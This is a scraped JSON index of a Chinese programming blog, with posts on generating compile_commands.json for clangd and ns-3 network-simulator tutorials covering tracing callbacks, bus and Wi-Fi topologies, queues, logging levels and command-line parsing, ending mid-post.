\u0026lt;compile_command\u0026gt; 这样跑过一次编译之后，就在当前目录生成 compile_commands.json 文件了。\n使用CMake生成 compile_commands.json 如果整个项目使用CMake来构建，可以添加这个参数来生成它：\nbash 复制代码 cmake -DCMAKE_EXPORT_COMPILE_COMMANDS=1 1 cmake -DCMAKE_EXPORT_COMPILE_COMMANDS=1 CMake会将该文件存放至编译产物的目录中。如果其所处目录并不是在 build/ 中，那么需要手动将其移到项目根目录中。\n","date":"February 27, 2024","matchCount":0,"permalink":"/post/cpp-vscode-clangd/","preview":"","title":"和「LSP」一起写代码：VS Code + Clangd 编写 C/C++"},{"content":"根据官方教程 Tracing 一章写成。原示例代码1和文中代码均以GPLv2发布。\n大家都知道仿真的目的是得到有价值的输出以进行分析，但对特定的分析目的来说，不同的输出方式可能分析效率不同。比如使用日志输出，其粒度仅为源代码文件和日志等级，对于更细的控制则略显不足，且日志输出的稳定性不作保证，可能随着更新而更改；而输出pcap可以记录每个数据包的细节，使用Wireshark筛选也更加直观简易，但不能体现仿真过程中的逻辑控制，如之前提到的Wi-Fi STA节点的移动轨迹。如果遇到并非自己代码中想要输出的内容，情况就更复杂了。比如开发者在教程中举了一个例子：为TCP socket添加一点输出，而这需要更改ns-3本身（在 tcp-socket-base.cc 中）。虽然加输出确实很简单，但1) 更新ns-3版本时很麻烦，2) 仍需进行进一步日志筛选，3) 要重新编译ns-3。\n所以，使用ns-3的追踪工具是更好的选择，因为它可以只输出感兴趣的数据源，免去筛选的麻烦，并且直接从ns-3内部获取数据（而不用改ns-3的代码）。\n基本上，追踪接收器就是一个回调，是一个函数指针。将追踪源和接收器相连的操作，就是把接收器对应的回调传入对应追踪源的回调列表中。当追踪源执行的时候，它就依次执行每个接收器对应的回调。另外，被追踪的值采用值语义2传递，这使得它触发的时候是什么样，追踪出来就是什么样。\n在不使用回调的情况下，若A要通过B的函数进行通信，A就必须依赖B。由于追踪接收器有很多，又不能逐个添加依赖，所以通过依赖的办法缺乏灵活性。\n简单的示例代码 开发者给出了 fourth.cc1 作为入门代码示例。略过头文件部分，代码首先定义了一个 Object 的子类，添加了一个追踪源数据，并实现了 GetTypeId 方法：\ncpp 复制代码 class MyObject : public Object { public: /** * Register this type. * \\return The TypeId. */ static TypeId GetTypeId() { static TypeId tid = TypeId(\u0026#34;MyObject\u0026#34;) .SetParent\u0026lt;Object\u0026gt;() .SetGroupName(\u0026#34;Tutorial\u0026#34;) .AddConstructor\u0026lt;MyObject\u0026gt;() .AddTraceSource(\u0026#34;MyInteger\u0026#34;, \u0026#34;An integer value to trace.\u0026#34;, MakeTraceSourceAccessor(\u0026amp;MyObject::m_myInt), \u0026#34;ns3::TracedValueCallback::Int32\u0026#34;); return tid; } MyObject() { } TracedValue\u0026lt;int32_t\u0026gt; m_myInt; //!\u0026lt; The traced value. }; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 class MyObject : public Object { public: /** * Register this type. * \\return The TypeId. */ static TypeId GetTypeId() { static TypeId tid = TypeId(\u0026#34;MyObject\u0026#34;) .SetParent\u0026lt;Object\u0026gt;() .SetGroupName(\u0026#34;Tutorial\u0026#34;) .AddConstructor\u0026lt;MyObject\u0026gt;() .AddTraceSource(\u0026#34;MyInteger\u0026#34;, \u0026#34;An integer value to trace.\u0026#34;, MakeTraceSourceAccessor(\u0026amp;MyObject::m_myInt), \u0026#34;ns3::TracedValueCallback::Int32\u0026#34;); return tid; } MyObject() { } TracedValue\u0026lt;int32_t\u0026gt; m_myInt; //!\u0026lt; The traced value. }; 如果真的按照官方教程去走，一定会晕头转向，因为官方教程的路线根本没提到ns-3的对象模型。\nns-3提供了三个基类，Object、ObjectBase 和 SimpleRefCount。SimpleRefCount 具有ns-3智能指针（Ptr）的引用计数，ObjectBase 具有类型（即 GetTypeId 这一堆）和属性信息以及对象聚合（目前没用到）。Object 具有以上两者的所有特性，如 NetDevice 和 TcpSocketState 全部是它的子类。\nTypeId 是 Object 的子类可选包含的一个属性，用于存放该类的元数据，如：\n标识这个类的唯一字符串（MyObject），用于进行运行时类型推导 父类（Object），用于进行向上/向下类型转换 可用的构造函数，用于在不知道对象具体类型的情况下创建对象 可公开访问属性（attribute）列表，需要同时提供访问方法和边界检查 除了以上四条之外，可以看到 AddTraceSource 方法，用于添加一个追踪源。它的用法有点像 AddAttribute，不同的是1) 由于是内部编辑，所以不需要像attribute一样做边界检查；2) 有一个回调函数，用于在触发时执行。\nm_myint 就是被追踪的数据，而 TracedValue 类型用于除了包装 int32_t 之外，还具备在值变化时触发回调的功能，并要求回调函数有且仅有两个 int32_t 参数，分别是旧值和新值。至于 MakeTraceSourceAccessor，则用于连接追踪源和追踪接收器，反正加上就行了。\n对应的，IntTrace 函数中就是 MyInteger 追踪源对应的接收回调，没有返回值，有且仅有两个 int32_t 参数，代码简单易懂：\ncpp 复制代码 void IntTrace(int32_t oldValue, int32_t newValue) { std::cout \u0026lt;\u0026lt; \u0026#34;Traced \u0026#34; \u0026lt;\u0026lt; oldValue \u0026lt;\u0026lt; \u0026#34; to \u0026#34; \u0026lt;\u0026lt; newValue \u0026lt;\u0026lt; std::endl; } 1 2 3 4 5 void IntTrace(int32_t oldValue, int32_t newValue) { std::cout \u0026lt;\u0026lt; \u0026#34;Traced \u0026#34; \u0026lt;\u0026lt; oldValue \u0026lt;\u0026lt; \u0026#34; to \u0026#34; \u0026lt;\u0026lt; newValue \u0026lt;\u0026lt; std::endl; } 最后在 main 函数中，就是创建对象和连接的过程了。\ncpp 复制代码 int main(int argc, char* argv[]) { Ptr\u0026lt;MyObject\u0026gt; myObject = CreateObject\u0026lt;MyObject\u0026gt;(); myObject-\u0026gt;TraceConnectWithoutContext(\u0026#34;MyInteger\u0026#34;, MakeCallback(\u0026amp;IntTrace)); myObject-\u0026gt;m_myInt = 1234; return 0; } 1 2 3 4 5 6 7 8 9 10 int main(int argc, char* argv[]) { Ptr\u0026lt;MyObject\u0026gt; myObject = CreateObject\u0026lt;MyObject\u0026gt;(); myObject-\u0026gt;TraceConnectWithoutContext(\u0026#34;MyInteger\u0026#34;, MakeCallback(\u0026amp;IntTrace)); myObject-\u0026gt;m_myInt = 1234; return 0; } 对于 Object 的子类，应该使用 CreateObject() 函数创建对象实例，对应的也会返回一个 Ptr。而对于 SimpleRefCount 的子类，则使用 Create()。\n此处连接使用的并不是示例代码3（third.cc）中使用的 Config::Connect() 搭配绝对路径识别符，而是直接使用 MyObject 的 TraceConnectWithoutContext() 成员函数，这样在第一个参数中就只需要写该类下追踪源的名字而非完整路径了。MakeCallback 的作用这里不再赘述。\n此处与示例代码3中另一个显著的不同是后者使用带context的追踪，TraceConnect() 成员函数中第二个参数为 std::string 类型，用来描述上下文（如对象路径），其会作为第一个参数传入回调，而此处使用的 TraceConnectWithoutContext() 就没有。也就是说，如果使用带context的追踪，那么回调函数应该改为 void IntTrace(std::string context, int32_t oldValue, int32_t newValue)。Config::Connect() 和 Config::ConnectWithoutContext() 则都不需要额外传入上下文信息。\n使用 Config 子系统 虽然这种 TraceConnect() 很实用，但据开发者声称，一般来说都会使用所谓的配置路径选择追踪源，就像之前在示例代码3中一样。也就是说，以下两个部分的代码是等效的：\ncpp 复制代码 // 使用 Config::Connect std::ostringstream oss; oss \u0026lt;\u0026lt; \u0026#34;/NodeList/\u0026#34; \u0026lt;\u0026lt; wifiStaNodes.Get(nWifi - 1)-\u0026gt;GetId() \u0026lt;\u0026lt; \u0026#34;/$ns3::MobilityModel/CourseChange\u0026#34;; Config::Connect(oss.str(), MakeCallback(\u0026amp;CourseChange);); // 使用 TraceConnect wifiStaNodes.Get(nWifi - 1)-\u0026gt;GetObject\u0026lt;MobilityModel\u0026gt;() -\u0026gt;TraceConnect(\u0026#34;CourseChange\u0026#34;, MakeCallback(\u0026amp;CourseChange)); 1 2 3 4 5 6 7 8 9 // 使用 Config::Connect std::ostringstream oss; oss \u0026lt;\u0026lt; \u0026#34;/NodeList/\u0026#34; \u0026lt;\u0026lt; wifiStaNodes.Get(nWifi - 1)-\u0026gt;GetId() \u0026lt;\u0026lt; \u0026#34;/$ns3::MobilityModel/CourseChange\u0026#34;; Config::Connect(oss.str(), MakeCallback(\u0026amp;CourseChange);); // 使用 TraceConnect wifiStaNodes.Get(nWifi - 1)-\u0026gt;GetObject\u0026lt;MobilityModel\u0026gt;() -\u0026gt;TraceConnect(\u0026#34;CourseChange\u0026#34;, MakeCallback(\u0026amp;CourseChange)); https://gitlab.com/nsnam/ns-3-dev/-/blob/2d04193b54bc57c29a229b0930f38dba903906ce/examples/tutorial/fourth.cc\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://stackoverflow.com/questions/166033/what-do-value-semantics-and-pointer-semantics-mean\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"February 20, 2024","matchCount":0,"permalink":"/post/ns3-tracing/","preview":"","title":"ns-3 入门 5：追踪"},{"content":"根据官方教程 Building Topologies 一章写成。原示例代码12和文中代码均以GPLv2发布。\n总线拓扑 第二篇示例代码1描述了一个简单的例子，默认共有5个节点，$n_0$ 和 $n_1$ 通过点对点链路相连，网段为10.1.1.0/24；$n_1$ 到 $n_{i+1}$ 共 ${i+1}$ 个节点（$i$ 为 nCsma 参数的值，默认为3）通过共享介质的CSMA网络连接（有点类似Ethernet），使用10.1.2.0/24网段。其中 $n_1$ 同时连接了两个网络。之后在 $n_0$ 上设置示例代码1一样的echo client，在 $n_{i+1}$ 上设置对应的echo server。\n代码大多跟之前的第一个示例没什么不同，只是有了更多的节点和设备。然而还是有一些需要注意的地方：\n一个节点可以同时属于多个 NodeContainer，如 $n_1$，这样就方便在同一个节点上设置多个设备了。 NodeContainer.Create 函数会在当前container的基础上增加指定数量的节点，而非用指定数量初始化。 由于不在同一个网段内，两个网段自然是不互通的，于是需要使用 Ipv4StaticRoutingHelper::PopulateRoutingTables() 让所有节点都能充当路由器的功能，并填充路由表。类似于Linux的 sysctl -w net.ipv4.ip_forward=1。 对于 CsmaChannel 之类可以同时连接多个设备的信道，可以在某一节点上启用混杂（promiscuous）模式（如代码113行），这样就可以监听到所有经过该信道的数据包了。 程序一共录制了三个pcap文件。可以看到，在 second-0-0.pcap 和 second-1-0.pcap 中，只有基于点对点协议的UDP包，但在 second-2-0.pcap 中，不光变成了网段不同、基于Ethernet的UDP包，还出现了ARP包，以进行IP到MAC地址的查找。\n为了更高的可自定义度，EnablePcap 不仅可以接受网络设备指针（nd: Ptr\u0026lt;NetDevice\u0026gt;），也可以接受节点 ID（nodeid: uint32_t）和设备ID（deviceid: uint32_t）。换而言之，以下两行代码是等效的：\ncpp 复制代码 csma.EnablePcap(\u0026#34;second\u0026#34;,csmaDevices.Get(1),true); csma.EnablePcap(\u0026#34;second\u0026#34;,csmaNodes.Get(1)-\u0026gt;GetId(),0,true); 1 2 csma.EnablePcap(\u0026#34;second\u0026#34;,csmaDevices.Get(1),true); csma.EnablePcap(\u0026#34;second\u0026#34;,csmaNodes.Get(1)-\u0026gt;GetId(),0,true); Get 中输入的参数为节点在该容器中的索引，而非节点ID。节点ID是全局共享、递增的。\n模型、属性和现实 在官方教程的对应章节中，主要是想提醒使用者须清楚认识到建模并不一定能涵盖真实情况的所有方面。比如上一节中 CsmaChannel 相对于真实Ethernet3 来说并没有碰撞检测特性，而这是很容易被使用者忽略的。\n另外作者还提到了不同网络标准中的不同属性。比如Ethernet的常见最大包大小为1518字节，而由于Ethernet II（DIX）标准的封装方式比IEEE 802.2（LLC/SNAP） 的协议开销少8个字节4，所以前者允许的最大MTU可以高一点。在ns-3的 CsmaNetDevice 中，MTU和封装方式是两个单独的属性，若采用了后者的封装方式而忘了更改默认为1500的MTU，虽然模拟能够正常运行，但可能会偏离实际情况。\n这里不是说MTU=1500同时采用LLC/SNAP一定是错的，现代部分网络甚至允许MTU=9000的Jumbo Frame，最终一切还是要看具体情况。\n构建无线拓扑 这一段的示例代码2在第二篇代码中增加了一个无线网络，并连接到 $n_0$，Wi-Fi使用802.11a标准（有点远古），网段为10.1.3.0/24。随附示例代码中描述拓扑的字符画：\ncpp 复制代码 // Default Network Topology // // Wifi 10.1.3.0 // AP // * * * * // | | | | 10.1.1.0 // n5 n6 n7 n0 -------------- n1 n2 n3 n4 // point-to-point | | | | // ================ // LAN 10.1.2.0 1 2 3 4 5 6 7 8 9 10 // Default Network Topology // // Wifi 10.1.3.0 // AP // * * * * // | | | | 10.1.1.0 // n5 n6 n7 n0 -------------- n1 n2 n3 n4 // point-to-point | | | | // ================ // LAN 10.1.2.0 在上面总线拓扑的基础上，又添加了 YansWifiChannel，相对来说更复杂一点，但从始至终都是围着链路层和物理层工作。\n$n_0$ 作为AP，其他节点作为STA，分到两个 NodeContainer 中。 使用 YansWifiPhyHelper 来设置物理层属性，如频率、速率等。它承担了类似 CsmaHelper 的功能，只不过不能直接包办建立起信道和安装网络设备了。 通过 WifiMacHelper 区分AP和STA，并设置同一个SSID来确保连接同一个网络。 AP和STA的网络设备也有所不同，所以也包含在两个 NetDeviceContainer 中，但可以使用同一个 WifiHelper（用于安装网络设备）。 通过 MobilityHelper 模拟STA节点走来走去，而AP节点则固定在原地。 用同一个 Ipv4AddressHelper 在同一次 Setbase 之后多次 Assign 来保证AP和STA在同一个网段内（相当于使用固定IP，不考虑复杂的DHCP）。 在STA节点的链路层设置中（WifiMacHelper），可以看到设置了 ActiveProbing 属性，这使得STA节点会一直搜寻AP，导致仿真永远不会结束。因此，还需要在开始前手动设置10s结束仿真。\n并不需要对Wi-Fi网络启用混杂模式，因为Wi-Fi网络的数据包都是广播的，所以所有节点都能收到。换而言之，混杂模式是自动开启的。\n如果加上 --trace 参数，会记录下来4个文件，其中 third-0-1.pcap 对应的是Wi-Fi的流量。使用工具读取，可以看到相比Ethernet，Wi-Fi的通信更加复杂，还有beacon frame之类的控制信息。\n记录STA移动轨迹 之前在介绍跟踪时，并未明确跟踪接收器的设计办法，使用的也是helper自带的连接方式。而在这个示例代码中，为了追踪某个STA的移动轨迹并打印到日志中，需要自行设计跟踪接收器（其实就是一个函数），并设置回调。这里的跟踪接收器也只是个函数而已：\ncpp 复制代码 void CourseChange(std::string context, Ptr\u0026lt;const MobilityModel\u0026gt; model) { Vector position = model-\u0026gt;GetPosition(); NS_LOG_UNCOND(context \u0026lt;\u0026lt; \u0026#34; x = \u0026#34; \u0026lt;\u0026lt; position.x \u0026lt;\u0026lt; \u0026#34;, y = \u0026#34; \u0026lt;\u0026lt; position.y); } 1 2 3 4 5 6 7 void CourseChange(std::string context, Ptr\u0026lt;const MobilityModel\u0026gt; model) { Vector position = model-\u0026gt;GetPosition(); NS_LOG_UNCOND(context \u0026lt;\u0026lt; \u0026#34; x = \u0026#34; \u0026lt;\u0026lt; position.x \u0026lt;\u0026lt; \u0026#34;, y = \u0026#34; \u0026lt;\u0026lt; position.y); } 其实功能非常简单，就是当调用这个函数的时候，打印出对应的事件名（context），以及STA节点的位置。为了让节点位置变化时调用这个函数，需要在 Simulator::Run() 之前设置回调：\ncpp 复制代码 std::ostringstream oss; oss \u0026lt;\u0026lt; \u0026#34;/NodeList/\u0026#34; \u0026lt;\u0026lt; wifiStaNodes.Get(nWifi - 1)-\u0026gt;GetId() \u0026lt;\u0026lt; \u0026#34;/$ns3::MobilityModel/CourseChange\u0026#34;; auto cb = MakeCallback(\u0026amp;CourseChange); Config::Connect(oss.str(), cb); 1 2 3 4 5 std::ostringstream oss; oss \u0026lt;\u0026lt; \u0026#34;/NodeList/\u0026#34; \u0026lt;\u0026lt; wifiStaNodes.Get(nWifi - 1)-\u0026gt;GetId() \u0026lt;\u0026lt; \u0026#34;/$ns3::MobilityModel/CourseChange\u0026#34;; auto cb = MakeCallback(\u0026amp;CourseChange); Config::Connect(oss.str(), cb); Config::Connect() 的第一个参数就是事件名，也就是跟踪源的路径，这里仅指定了一个STA。第二个参数就是一个回调对象。\nMakeCallback 的作用是将函数指针包装成一个 Callback 对象。Callback 类是一个模板类，有一个强制参数（对应返回值，void也算一个）和至多五个可选参数（对应参数列表）。MakeCallback 会根据函数指针的类型自动推断参数列表。这样，就可以直接使用类似 ret = cb(arg1, arg2, ...) 的方法来调用回调了。如果需要设置对象的成员函数回调，或者希望预先设定某几个参数，可以参考 手册的对应部分。\n这样，当STA位置变化时，就会在日志中打印当前位置，如：\nplaintext 复制代码 /NodeList/7/$ns3::MobilityModel/CourseChange x = 10, y = 0 /NodeList/7/$ns3::MobilityModel/CourseChange x = 9.36083, y = -0.769065 /NodeList/7/$ns3::MobilityModel/CourseChange x = 9.62346, y = 0.195831 /NodeList/7/$ns3::MobilityModel/CourseChange x = 9.42533, y = 1.17601 /NodeList/7/$ns3::MobilityModel/CourseChange x = 8.4854, y = 0.834616 /NodeList/7/$ns3::MobilityModel/CourseChange x = 7.79244, y = 1.55559 /NodeList/7/$ns3::MobilityModel/CourseChange x = 7.85546, y = 2.55361 1 2 3 4 5 6 7 /NodeList/7/$ns3::MobilityModel/CourseChange x = 10, y = 0 /NodeList/7/$ns3::MobilityModel/CourseChange x = 9.36083, y = -0.769065 /NodeList/7/$ns3::MobilityModel/CourseChange x = 9.62346, y = 0.195831 /NodeList/7/$ns3::MobilityModel/CourseChange x = 9.42533, y = 1.17601 /NodeList/7/$ns3::MobilityModel/CourseChange x = 8.4854, y = 0.834616 /NodeList/7/$ns3::MobilityModel/CourseChange x = 7.79244, y = 1.55559 /NodeList/7/$ns3::MobilityModel/CourseChange x = 7.85546, y = 2.55361 ns-3中的队列 和很多人理解的不同，数据包并不是排一个队就能直接发出去了，而在实际情况中，有多层队列，排完这个再排下一个，用来处理不同的事情。在ns-3中虽然并没有实际操作系统中那么复杂，但也“将IP层或流量控制层与设备层分开”，前者，即所谓的流量控制层，处理QoS和AQM；而后者在 NetDevice 中，处理设备层的队列，与连接类型有关（Ethernet，Wi-Fi等）。如果设备层的队列并没有被填满，那么流量控制层队列基本等效于透明，毕竟这时并没有控制流量的必要。\n官方教程中有 [不同队列类型详解]。在分配IP地址时，流量控制层默认启用 pfifo_fast 队列（容量为1000个包）并可以自行指定，而设备层队列由设备自身决定，不同的网络设备有不同的队列类型。\n若要自行指定流量控制层的队列，有两种办法。如果还未安装网络设备，可以借助网络设备的helper实现：\ncpp 复制代码 PointToPointHelper p2p; p2p.SetQueue(\u0026#34;ns3::DropTailQueue\u0026#34;, \u0026#34;MaxSize\u0026#34;, StringValue(\u0026#34;50p\u0026#34;)); NetDeviceContainer devices = p2p.Install(nodes); 1 2 3 PointToPointHelper p2p; p2p.SetQueue(\u0026#34;ns3::DropTailQueue\u0026#34;, \u0026#34;MaxSize\u0026#34;, StringValue(\u0026#34;50p\u0026#34;)); NetDeviceContainer devices = p2p.Install(nodes); 如果已经安装了网络设备，可以使用 TrafficControlHelper 来设置根队列：\ncpp 复制代码 TrafficControlHelper tch; tch.SetRootQueueDisc(\u0026#34;ns3::CoDelQueueDisc\u0026#34;, \u0026#34;MaxSize\u0026#34;, StringValue(\u0026#34;1000p\u0026#34;)); tch.Install(devices); 1 2 3 TrafficControlHelper tch; tch.SetRootQueueDisc(\u0026#34;ns3::CoDelQueueDisc\u0026#34;, \u0026#34;MaxSize\u0026#34;, StringValue(\u0026#34;1000p\u0026#34;)); tch.Install(devices); https://gitlab.com/nsnam/ns-3-dev/-/blob/2209a5abd18be77c6c865c837368b4e459ae7c8e/examples/tutorial/second.cc\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://gitlab.com/nsnam/ns-3-dev/-/blob/5649b4801cc3e06b8d0edc9ea1b18510594dfd35/examples/tutorial/third.cc\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n早期的共享介质Ethernet标准使用CSMA/CD，而非CSMA。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://en.wikipedia.org/wiki/Ethernet_frame#Types\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"February 14, 2024","matchCount":0,"permalink":"/post/ns3-topology/","preview":"","title":"ns-3 入门 4：构建拓扑"},{"content":"根据官方教程 Tweaking 一章写成。\n日志 ns-3自带一个日志系统。用日志系统记录输出和错误等是常见的做法，但由于追踪系统的存在（可以使用tcpdump或者Wireshark看），日志系统还是用来记录错误和调试信息为主。\n前面讲到ns-3的日志系统粒度为模块，可以对某个模块启用、禁用、设置级别等。\n日志级别 日志系统有以下几个级别：\nLOG_ERROR：错误 LOG_WARN：警告 LOG_DEBUG：临时的调试信息 LOG_INFO：程序运行进度等信息 LOG_FUNCTION：函数调用信息 LOG_LOGIC：函数内部的逻辑执行 LOG_ALL：包含以上所有 LOG_FUNCTION 等级会在每个函数执行时打印信息，比如下面这样。\nlog 复制代码 UdpEchoClientApplication:UdpEchoClient(0xef90d0) UdpEchoClientApplication:SetDataSize(0xef90d0, 1024) UdpEchoClientApplication:StartApplication(0xef90d0) UdpEchoClientApplication:ScheduleTransmit(0xef90d0, \u0026#43;0ns) UdpEchoClientApplication:Send(0xef90d0)UdpEchoClientApplication:UdpEchoClient(0xef90d0) UdpEchoClientApplication:SetDataSize(0xef90d0, 1024) UdpEchoClientApplication:StartApplication(0xef90d0) UdpEchoClientApplication:ScheduleTransmit(0xef90d0, \u0026#43;0ns) UdpEchoClientApplication:Send(0xef90d0) 需要注意以上每种日志级别仅包含其本身。若要包含上级日志，则可使用对应的 LOG_LEVEL。如 LOG_LEVEL_DEBUG 是 LOG_ERROR、LOG_WARN、LOG_DEBUG 三者的并集，皆会打印。\n另外还有一种 LOG_UNCOND 级别，会打印任何日志条目，无视等级。\n设置级别 有两种办法对模块日志级别进行设置：环境变量和代码。环境变量设置不需要重新编译，所以比较方便。官方教程提到可以用环境变量“提高日志记录级别”，实际测试发现最终输出的日志范围是对两者取并集（包括下文的日志前缀部分）。\n如果使用代码，需要使用 LogComponentEnable 函数，若要设置多个模块的日志级别，多次调用该函数即可。比如将 UdpEchoClientApplication 的日志级别设为 INFO：\ncpp 复制代码 LogComponentEnable(\u0026#34;UdpEchoClientApplication\u0026#34;, LOG_LEVEL_INFO); 1 LogComponentEnable(\u0026#34;UdpEchoClientApplication\u0026#34;, LOG_LEVEL_INFO); 如果只想要启用某个模块的自定义等级日志，可以使用并运算：\ncpp 复制代码 LogComponentEnable(\u0026#34;UdpEchoClientApplication\u0026#34;, LogLevel(LOG_INFO | LOG_FUNCTION)); 1 LogComponentEnable(\u0026#34;UdpEchoClientApplication\u0026#34;, LogLevel(LOG_INFO | LOG_FUNCTION)); 而控制日志级别的环境变量是 NS_LOG，虽然只有一个变量，但使用和PATH类似的表示方法，也可以控制多个模块的级别，其值的格式为 Component1=level_1:Component2=level_2。比如：\nbash 复制代码 export NS_LOG=\u0026#34;UdpEchoClientApplication=level_all:UdpEchoServerApplication=level_all\u0026#34; 1 export NS_LOG=\u0026#34;UdpEchoClientApplication=level_all:UdpEchoServerApplication=level_all\u0026#34; 环境变量表示的并运算会更加直观些：\nbash 复制代码 export NS_LOG=\u0026#34;UdpEchoClientApplication=level_info|level_function\u0026#34; 1 export NS_LOG=\u0026#34;UdpEchoClientApplication=level_info|level_function\u0026#34; 如果需要设置所有模块的日志级别，可以将 * 作为 Component 的值。需注意该选项会导致大量输出。\n日志前缀 回想第一个示例代码的输出，前面的日志输出的几乎都只有内容。比如之前那个示例程序，在启用所有日志等级时，输出是这样的：\nlog 复制代码 UdpEchoServerApplication:UdpEchoServer(0x55fd771b1b10) UdpEchoClientApplication:UdpEchoClient(0x55fd771d9570) UdpEchoClientApplication:SetDataSize(0x55fd771d9570, 1024) UdpEchoServerApplication:StartApplication(0x55fd771b1b10) UdpEchoClientApplication:StartApplication(0x55fd771d9570) UdpEchoClientApplication:ScheduleTransmit(0x55fd771d9570, \u0026#43;0ns) UdpEchoClientApplication:Send(0x55fd771d9570) At time \u0026#43;2s client sent 1024 bytes to 10.1.1.2 port 9 UdpEchoServerApplication:HandleRead(0x55fd771b1b10, 0x55fd771e5e70) At time \u0026#43;2.00369s server received 1024 bytes from 10.1.1.1 port 49153 Echoing packet ......UdpEchoServerApplication:UdpEchoServer(0x55fd771b1b10) UdpEchoClientApplication:UdpEchoClient(0x55fd771d9570) UdpEchoClientApplication:SetDataSize(0x55fd771d9570, 1024) UdpEchoServerApplication:StartApplication(0x55fd771b1b10) UdpEchoClientApplication:StartApplication(0x55fd771d9570) UdpEchoClientApplication:ScheduleTransmit(0x55fd771d9570, \u0026#43;0ns) UdpEchoClientApplication:Send(0x55fd771d9570) At time \u0026#43;2s client sent 1024 bytes to 10.1.1.2 port 9 UdpEchoServerApplication:HandleRead(0x55fd771b1b10, 0x55fd771e5e70) At time \u0026#43;2.00369s server received 1024 bytes from 10.1.1.1 port 49153 Echoing packet ...... 日志前缀内容可以和日志输出等级一起设定，目前有如下几个选项1：\nPREFIX_FUNC： 函数名（格式为 ComponentName:FunctionName） PREFIX_TIME：仿真已进行的时长 PREFIX_NODE：节点编号（就是之前关键抽象中的那个节点） PREFIX_LEVEL：日志等级 也可以用 PREFIX_ALL 一次性打开所有前缀。以使用代码的方式为例，可以这样设置：\ncpp 复制代码 LogComponentEnable(\u0026#34;UdpEchoClientApplication\u0026#34;, LogLevel(ns3::LOG_LEVEL_ALL | ns3::LOG_PREFIX_ALL)); LogComponentEnable(\u0026#34;UdpEchoServerApplication\u0026#34;, LogLevel(ns3::LOG_LEVEL_ALL | ns3::LOG_PREFIX_ALL)); 1 2 3 4 LogComponentEnable(\u0026#34;UdpEchoClientApplication\u0026#34;, LogLevel(ns3::LOG_LEVEL_ALL | ns3::LOG_PREFIX_ALL)); LogComponentEnable(\u0026#34;UdpEchoServerApplication\u0026#34;, LogLevel(ns3::LOG_LEVEL_ALL | ns3::LOG_PREFIX_ALL)); 输出便成了这样：\nlog 复制代码 \u0026#43;0.000000000s -1 UdpEchoServerApplication:UdpEchoServer(0x55b8911fcb10) \u0026#43;0.000000000s -1 UdpEchoClientApplication:UdpEchoClient(0x55b891224570) \u0026#43;0.000000000s -1 UdpEchoClientApplication:SetDataSize(0x55b891224570, 1024) \u0026#43;1.000000000s 1 UdpEchoServerApplication:StartApplication(0x55b8911fcb10) \u0026#43;2.000000000s 0 UdpEchoClientApplication:StartApplication(0x55b891224570) \u0026#43;2.000000000s 0 UdpEchoClientApplication:ScheduleTransmit(0x55b891224570, \u0026#43;0ns) \u0026#43;2.000000000s 0 UdpEchoClientApplication:Send(0x55b891224570) \u0026#43;2.000000000s 0 UdpEchoClientApplication:Send(): [INFO ] At time \u0026#43;2s client sent 1024 bytes to 10.1.1.2 port 9 \u0026#43;2.003686400s 1 UdpEchoServerApplication:HandleRead(0x55b8911fcb10, 0x55b891230e70) \u0026#43;2.003686400s 1 UdpEchoServerApplication:HandleRead(): [INFO ] At time \u0026#43;2.00369s server received 1024 bytes from 10.1.1.1 port 49153 \u0026#43;2.003686400s 1 UdpEchoServerApplication:HandleRead(): [LOGIC] Echoing packet ......\u0026#43;0.000000000s -1 UdpEchoServerApplication:UdpEchoServer(0x55b8911fcb10) \u0026#43;0.000000000s -1 UdpEchoClientApplication:UdpEchoClient(0x55b891224570) \u0026#43;0.000000000s -1 UdpEchoClientApplication:SetDataSize(0x55b891224570, 1024) \u0026#43;1.000000000s 1 UdpEchoServerApplication:StartApplication(0x55b8911fcb10) \u0026#43;2.000000000s 0 UdpEchoClientApplication:StartApplication(0x55b891224570) \u0026#43;2.000000000s 0 UdpEchoClientApplication:ScheduleTransmit(0x55b891224570, \u0026#43;0ns) \u0026#43;2.000000000s 0 UdpEchoClientApplication:Send(0x55b891224570) \u0026#43;2.000000000s 0 UdpEchoClientApplication:Send(): [INFO ] At time \u0026#43;2s client sent 1024 bytes to 10.1.1.2 port 9 \u0026#43;2.003686400s 1 UdpEchoServerApplication:HandleRead(0x55b8911fcb10, 0x55b891230e70) \u0026#43;2.003686400s 1 UdpEchoServerApplication:HandleRead(): [INFO ] At time \u0026#43;2.00369s server received 1024 bytes from 10.1.1.1 port 49153 \u0026#43;2.003686400s 1 UdpEchoServerApplication:HandleRead(): [LOGIC] Echoing packet ...... 记录日志 要将某个源文件划入某个模块，可以使用这个宏：\ncpp 复制代码 NS_LOG_COMPONENT_DEFINE(\u0026#34;ComponentName\u0026#34;); 1 NS_LOG_COMPONENT_DEFINE(\u0026#34;ComponentName\u0026#34;); 对于 LOG_FUNCTION 级别的日志，可以使用 NS_LOG_FUNCTION(this)（静态函数使用 NS_LOG_FUNCTION_NOARGS()），它会在函数开始时打印函数名和参数，函数结束时打印函数名和返回值。而对于其他级别的日志，可以使用 NS_LOG_\u0026lt;LEVEL\u0026gt;，如：\ncpp 复制代码 NS_LOG_INFO(\u0026#34;This is an info message\u0026#34;); NS_LOG_DEBUG(\u0026#34;This is a debug message\u0026#34;); 1 2 NS_LOG_INFO(\u0026#34;This is an info message\u0026#34;); NS_LOG_DEBUG(\u0026#34;This is a debug message\u0026#34;); 命令参数 ns-3也有一个自带的命令行参数解析器，从而避免手动解析或使用第三方库的麻烦。在 main 函数传入了 argc 和 argv 的情况下，可以使用 CommandLine 类来解析命令行参数：\ncpp 复制代码 CommandLine cmd; cmd.Parse(argc, argv); 1 2 CommandLine cmd; cmd.Parse(argc, argv); 要使用 ns3 工具运行时加入命令行参数，可以用下面两种等效的方式：\nbash 复制代码 ./ns3 run examples/tutorial/first.cc -- --PrintHelp ./ns3 run \u0026#34;examples/tutorial/first.cc --PrintHelp\u0026#34; 1 2 ./ns3 run examples/tutorial/first.cc -- --PrintHelp ./ns3 run \u0026#34;examples/tutorial/first.cc 